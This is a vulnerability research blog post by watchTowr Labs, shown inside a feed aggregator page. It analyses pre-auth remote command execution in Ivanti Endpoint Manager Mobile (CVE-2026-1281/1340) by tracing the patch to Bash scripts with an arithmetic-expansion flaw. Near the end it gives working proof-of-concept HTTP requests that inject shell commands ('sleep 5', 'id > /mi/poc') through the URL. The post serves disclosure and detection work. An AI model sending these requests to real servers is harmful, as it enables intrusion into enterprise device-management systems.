惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

P
Privacy International News Feed
I
Intezer
T
Tenable Blog
S
Schneier on Security
Project Zero
Project Zero
G
GRAHAM CLULEY
酷 壳 – CoolShell
酷 壳 – CoolShell
小众软件
小众软件
Know Your Adversary
Know Your Adversary
博客园 - 司徒正美
The Cloudflare Blog
Recent Commits to openclaw:main
Recent Commits to openclaw:main
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
N
News and Events Feed by Topic
博客园 - 叶小钗
宝玉的分享
宝玉的分享
L
LINUX DO - 热门话题
aimingoo的专栏
aimingoo的专栏
S
Secure Thoughts
Forbes - Security
Forbes - Security
T
The Exploit Database - CXSecurity.com
D
Darknet – Hacking Tools, Hacker News & Cyber Security
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
博客园 - 【当耐特】
罗磊的独立博客
IT之家
IT之家
H
Hacker News: Front Page
I
InfoQ
云风的 BLOG
云风的 BLOG
S
Security Affairs
M
MIT News - Artificial intelligence
GbyAI
GbyAI
Jina AI
Jina AI
Help Net Security
Help Net Security
Engineering at Meta
Engineering at Meta
大猫的无限游戏
大猫的无限游戏
Webroot Blog
Webroot Blog
L
Lohrmann on Cybersecurity
A
About on SuperTechFans
Attack and Defense Labs
Attack and Defense Labs
The Register - Security
The Register - Security
V
V2EX
G
Google Developers Blog
D
DataBreaches.Net
Apple Machine Learning Research
Apple Machine Learning Research
C
Cybersecurity and Infrastructure Security Agency CISA
J
Java Code Geeks
W
WeLiveSecurity
Cloudbric
Cloudbric
T
Tor Project blog

watchTowr Labs

It’s 37oC, And All We Can Think About Is ColdFusion (Adobe ColdFusion Security Bulletin APSB26-68 CVE Bonanza) CitrixBleed To Infinity And Beyond (Citrix NetScaler Pre-Auth Memory Overread CVE-2026-8451) Enterprise Tech In, Shell Out (Progress Kemp LoadMaster Uninitialized Heap to Pre-Auth RCE CVE-2026-8037) Why Use App-Level Auth When Every Database Has Auth? (Splunk Enterprise CVE-2026-20253 Pre-Auth RCE) Marking Your Own Homework (Check Point Remote Access VPN IKEv1 Authentication Bypass CVE-2026-50751) More Evidence That Words Don't Mean What We Thought They Meant (Ivanti Sentry Pre-Auth OS Command Injection CVE-2026-10520) The Internet Is Falling Down, Falling Down, Falling Down (cPanel & WHM Authentication Bypass CVE-2026-41940) You’re Not Supposed To ShareFile With Everyone (Progress ShareFile Pre-Auth RCE Chain CVE-2026-2699 & CVE-2026-2701) Please, We Beg, Just One Weekend Free Of Appliances (Citrix NetScaler CVE-2026-3055 Memory Overread Part 2) The Sequels Are Never As Good, But We're Still In Pain (Citrix NetScaler CVE-2026-3055 Memory Overread) A 32-Year-Old Bug Walks Into A Telnet Server (GNU inetutils Telnetd CVE-2026-32746 Pre-Auth RCE) The Most Organized Threat Actors Use Your ITSM (BMC FootPrints Pre-Auth Remote Code Execution Chains) Sometimes, You Can Just Feel The Security In The Design (Juniper Junos Evolved CVE-2026-21902 Pre-Auth RCE) Buy A Help Desk, Bundle A Remote Access Solution? (SolarWinds Web Help Desk Pre-Auth RCE Chain(s)) Attackers With Decompilers Strike Again (SmarterTools SmarterMail WT-2026-0001 Auth Bypass) Do Smart People Ever Say They’re Smart? (SmarterTools SmarterMail Pre-Auth RCE CVE-2025-52691) SOAPwn: Pwning .NET Framework Applications Through HTTP Client Proxies And WSDL Stop Putting Your Passwords Into Random Websites (Yes, Seriously, You Are The Problem) When The Impersonation Function Gets Used To Impersonate Users (Fortinet FortiWeb Auth. Bypass CVE-2025-64446) Is It CitrixBleed4? Well, No. Is It Good? Also, No. (Citrix NetScaler Memory Leak & RXSS CVE-2025-12101)
Someone Knows Bash Far Too Well, And We Love It (Ivanti EPMM Pre-Auth RCEs CVE-2026-1281 & CVE-2026-1340)
Piotr Bazydlo (@chudyPB) · 2026-01-31 · via watchTowr Labs

When Ivanti removed the embargoes from CVE-2026-1281 and CVE-2026-1340 - actively exploited pre-auth Remote Command Execution vulnerabilities in Ivanti’s Endpoint Manager Mobile (EPMM) solution - we sighed with relief.

Clearly, the universe had decided to continue mocking Secure-By-Design signers right on schedule - every January.

Welcome back to another monologue that doubles as some sort of industry-wide counseling session we must all get through together.

As we are always keen to remind everyone, today’s blog post didn’t ruin your weekend. The APT currently exploiting these vulnerabilities, and your lack of response to the warnings from Ivanti and CISA, did.

Very Briefly, What Is EPMM?

Ivanti Endpoint Manager Mobile (EPMM) is an enterprise mobility management (MDM/UEM) platform used to manage, secure, and enforce policy on mobile devices, apps, and content across iOS, Android, and other endpoints.

It is commonly deployed by large organizations to control corporate mobile fleets, distribute apps, and protect access to enterprise resources.

“protect”.

Move On watchTowr, What's Going On Today?

In this week's episode of "advisories issued by Ivanti" - https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM-CVE-2026-1281-CVE-2026-1340?language=en_US, we see that two vulnerabilities have been detailed:

As always, the following line in the advisory sticks out like a sore thumb:

We are aware of a very limited number of customers whose solution has been exploited at the time of disclosure.

“We are aware” and “very limited” are likely (in our opinion, this is probably not fact, etc, etc) to be doing a significant amount of lifting.

For avoidance of doubt, the following versions of Ivanti EPMM are patched:

  • None

“But watchTowr, what do you mean?”

Well, Ivanti are issuing patches-with-commitment-issues (you have to reapply after any subsequent changes in the future, or they, of course get rolled back) - until Q1 2026 when they release 12.8.0.0.

Yikes?

These temporary, patches-with-commitment-issues RPMs are (as of writing) called:

  • ivanti-security-update-1761642-1.0.0L-5.noarch.rpm
  • ivanti-security-update-1761642-1.0.0S-5.noarch.rpm

To signal even more severity, it’s clear that this ‘is bad’ as they got insta-added to CISA’s KEV list.

So, without further ado.. let’s dig in…

The Beginning

As we mentioned, Ivanti delivered RPM patches to customers under embargo (and are still paywalled) to help implement mitigations:

For the purposes of this analysis, we’re focusing on the RPM patch relating to 12.7.0.0.

rpm doubles up as an ultra-hacking tool (put that in your IoCs, F5), allowing us to see what files are stored within the package.

We can see that it stores two uncompiled Java files:

  • AFTUrlMapper.java
  • AppStoreUrlMapper.java

So far so good! But what actually happens to those files? We can again use rpm to list the contents that will be executed during the installation.

For this purpose, we will use the following command:

rpm -qlp --scripts ivanti-security-update-1761642-1.0.0L-5.noarch.rpm

Let’s go through the important steps, one by one. The first important fragments of the script are as follows:

/etc/alternatives/javac /tmp/ivanti-security-update-1761642/AppStoreUrlMapper.java
/etc/alternatives/javac /tmp/ivanti-security-update-1761642/AFTUrlMapper.java

We can see that Java classes are being compiled - quite logical. Afterwards, we are seeing some basic filesystem-based operations.

/bin/echo "Step-2 : Applying patches..."
/bin/cp /tmp/ivanti-security-update-1761642/AppStoreUrlMapper.class /mi/bin/AppStoreUrlMapper.class
/bin/chown root:root /mi/bin/AppStoreUrlMapper.class
/bin/chmod 700 /mi/bin/AppStoreUrlMapper.class

/bin/cp /tmp/ivanti-security-update-1761642/AFTUrlMapper.class /mi/bin/AFTUrlMapper.class
/bin/chown root:root /mi/bin/AFTUrlMapper.class
/bin/chmod 700 /mi/bin/AFTUrlMapper.class

Compiled classes are moved to the /mi/bin directory and prepared for execution.

Boring stuff aside, we have reached an actually interesting part. Suddenly, the script started modifying the Apache HTTPd config:

/bin/sed -i \\
  -e 's|RewriteMap mapAppStoreURL prg:/mi/bin/map-appstore-url|RewriteMap mapAppStoreURL "prg:/bin/java -cp /mi/bin AppStoreUrlMapper"|g' \\
  -e 's|RewriteMap mapAftStoreURL prg:/mi/bin/map-aft-store-url|RewriteMap mapAftStoreURL "prg:/bin/java -cp /mi/bin AFTUrlMapper"|g' \\
  /mi/config-system/xsl/httpd_ssl_conf.xsl

This looks like so much fun! It seems that Ivanti EPMM:

  • Has two Apache RewriteMap instances defined.
  • Which point to the shell scripts:
    • /mi/bin/map-appstore-url and
    • /mi/bin/map-aft-store-url.

After the patch, the aforementioned Bash scripts are no longer used. The patch modifies the RewriteMap instructions, which now leverage the newly introduced Java classes, entirely replacing said Bash scripts.

This clearly indicates one thing - the vulnerability must exist somewhere in those Bash scripts (or, Ivanti's new approach to vulnerabilities is to refactor everything - which honestly didn't strike us as their worst idea yet).

Reaching Bash Scripts through HTTP

As Ivanti EPMM is an HTTP-based enterprise security solution (for emphasis), and it appears that the RPM patches provided amend items within Apache's configuration - we can logically conclude that the vulnerability must be exploitable through HTTP.

As the mappings are in the Apache config, we can have another look to see where they are used.

Taking the path of least resistance to everything in life, we leveraged another hacking tool (another one for you, F5) - grep. We just grepped through the config looking for mapAppStoreURL map occurrences, and multiple results popped up.

One of them is as follows:

RewriteRule ^/mifs/c/appstore/fob/3/([0-9]+)/sha256:(.*)/(.*)(.ipa)$ ${mapAppStoreURL:$2_$1_$3_$4_%{HTTP_HOST}_%{ENV:SCRIPT_URL}} [T=application/octet-stream,UnsafePrefixStat]

Alright, so what happens here? Well, friends..

If you send the HTTP Request targeting the following endpoint: /mifs/c/appstore/fob/3/<int>/sha256:<something1>/<something2>.ipa

Apache will execute the /mi/bin/map-appstore-url Bash script with the following input:

<something1>_<int>_<something2>_.ipa_<HostHeader>_<EndpointPath>

We have everything that an attacker may dream of:

  • An unauthenticated endpoint, and
  • The ability to pass attacker-controlled strings to a Bash script.

Let’s do a simple experiment, using the following example HTTP request:

GET /mifs/c/appstore/fob/3/105/sha256:kid=1,st=1341879970,
h=123aabf796106cfb2ab40cbbd43ba5b44fd937f1a5856e0a95640ba6f9d71843,
et=1969735722/e2327851-1e09-4463-9b5a-b524bc71fc07.ipa HTTP/1.1
Host: f5-research-lab-ioc-block-it-all.f5

With a little bit of tracing and debugging, we can follow this request to the inputs passed to the map-appstore-url Bash script:

kid=1,st=1341879970,h=123aabf796106cfb2ab40cbbd43ba5b44fd937f1a5856e0a95640ba6f9d71843,et=1969735722_105_e2327851-1e09-4463-9b5a-b524bc71fc07_.ipa_f5-research-lab-ioc-block-it-all.f5_/mifs/c/appstore/fob/3/105/sha256:kid=1,st=1341879970,h=123aabf796106cfb2ab40cbbd43ba5b44fd937f1a5856e0a95640ba6f9d71843,et=1969735722/e2327851-1e09-4463-9b5a-b524bc71fc07.ipa

As you can see, we are controlling seemingly a lot of things.

Time to bleed our eyes out with Bash, then.

The One Where We Lose All Of Our Hair

At this point, we were blissful and optimistic. Everything, literally everything, looked like a straight way to the RCE. We mean, how hard can it be - surely we just inject some OS commands with some fancy mashed characters?

Ha ha, how naive we were.

We were looking at both Bash scripts for several hours, only to say that we saw absolutely no way to exploit them.

Let's start with the basics. This Bash script allows users, with all the correct ingredients, to retrieve mobile applications from the Ivanti EPMM-approved application store.

To achieve that, you need to provide the following:

  • kid - Index of a salt string from /mi/files/appstore-salt.txt.
  • st - Start time for the download operation.
  • et - End time for the download operation.
  • h - SHA256 hash based on several inputs, which verifies whether you know the “secret” salt or not.
  • Appstore file to retrieve. In our sample request, it is: e2327851-1e09-4463-9b5a-b524bc71fc07 .

Assuming that the h hash in our script is correct, the HTTP response will contain the content of the /mi/files/appstore/105/secure/e2327851-1e09-4463-9b5a-b524bc71fc07 file.

Nothing fancy - just a script which retrieves a file and verifies whether you know the proper file name (GUID) and the salt, which is stored on the local filesystem.

There’s no point in boring you with the script contents so far. However, you need to know that we spent a significant amount of time exploring any and all potential command/code injection points in this Bash script , and we found nothing.

We found some minor argument injection issues, but meh.

Final Exploit - Arithmetic Expansion

Call it a divine intervention or whatever you wish, but we went for a nap, and the PoC request appeared in a dream.

It looks like this:

GET /mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,
h=gPath%5B%60sleep%205%60%5D/e2327851-1e09-4463-9b5a-b524bc71fc07.ipa

Let's URL decode that for those of you who haven’t stared at URL encoded values for years and can automatically decode it:

GET /mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue  ,et=1337133713,
h=gPath[`sleep 5`]/e2327851-1e09-4463-9b5a-b524bc71fc07.ipa

Fairly bizarre, right?

Well, first of all, there are some references to the parsing of key=value, values in the map-appstore-url Bash script:

if [[ -z ${ret} ]] ; then
  for theKeyMapEntry in "${theAppStoreKeyValueArray[@]}" ; do
    theKey="${theKeyMapEntry%%=*}"
    theValue="${theKeyMapEntry##*=}"
    logDebug "${FUNCNAME}" "theKey=$theKey; theValue=$theValue"

    case ${theKey} in
      kid)
        gKeyIndex="${theValue}"
        ;;
      st) # [1]
        gStartTime="${theValue}"
        if (( ${#gStartTime} != "${kValidTimeStampLength}" )) ; then
          ret="${kTimestampLengthInvalidErrorCode}"
        fi
        ;;
      et)
        gEndTime="${theValue}"
        if (( ${#gEndTime} != "${kValidTimeStampLength}" )) ; then
          ret="${kTimestampLengthInvalidErrorCode}"
        fi
        ;;
      h) # [2]
        gHashPrefixString="${theValue}"
        ;;
      *)
        ret="${kURLStructureInvalidErrorCode}"
        logDenial "${FUNCNAME}" "${ret}" "unknown presented key=${theKey}; theValue=${theValue}"
        ;;
    esac
  done
fi

At [1] and [2], you can see that st and h values are assigned inside of a case. You can see a familiar reference to theValue (note st value in the HTTP request).

However, what about gPath that you can see in h argument? Well, this is just a variable that had already been defined in the Bash script:

gPath=""

The absolute magic happens at this line:

if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]] ; then

This is a completely harmless line, right? It just compares two timestamps.

But wait, what have we defined for the gStartTime (st in HTTP request): theValue

Note: This parameter contains two additional padding spaces at the end to ensure the string is 10 characters due to a string length validation check.

gStartTime points to theValue variable! You may remember that the theValue variable was used to extract our key=value pairs. During the for loop and case statement, what is the last value that we have extracted that has been assigned to theValue?

gPath[`sleep 5`]

During arithmetic expansion, if a variable is treated as an array and the array index contains a command substitution, the shell will execute that command while resolving the index.

In this case, the gPath variable is used, although any defined variable name would behave the same way. When the expression is expanded, the sleep 5 command is executed as part of that process.

For additional details on the magic of arithmetic expansion see this blog and this Stack Exchange thread.

In short, the Bash script uses one variable (gStartTime) to reference another variable (theValue), where a command (sleep 5) is executed as a result of arithmetic expansion and shell evaluation.

Build Your Own Detection Artefact Generator

To prove our analysis, and give you the beginnings of creating your own DAG, we present the following request, which executes the id > /mi/poc OS command:

GET /mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,
et=1337133713,h=gPath%5B%60id%20>%20/mi/poc%60%5D/
13371337-1337-1337-1337-133713371337.ipa HTTP/1.1
Host: f5-research-lab-ioc-block-it-all.f5

The research published by watchTowr Labs is powered by the same engine behind the watchTowr Platform, our Preemptive Exposure Management solution built for enterprises that refuse to wait for the next satisfying advisory from their scanner vendor.

The watchTowr Platform combines External Attack Surface Management and Continuous Automated Red Teaming to test your defenses against the vulnerabilities and techniques that matter: the ones real attackers are actually exploiting.

Gain early access to our research, and understand your exposure, with the watchTowr Platform

REQUEST A DEMO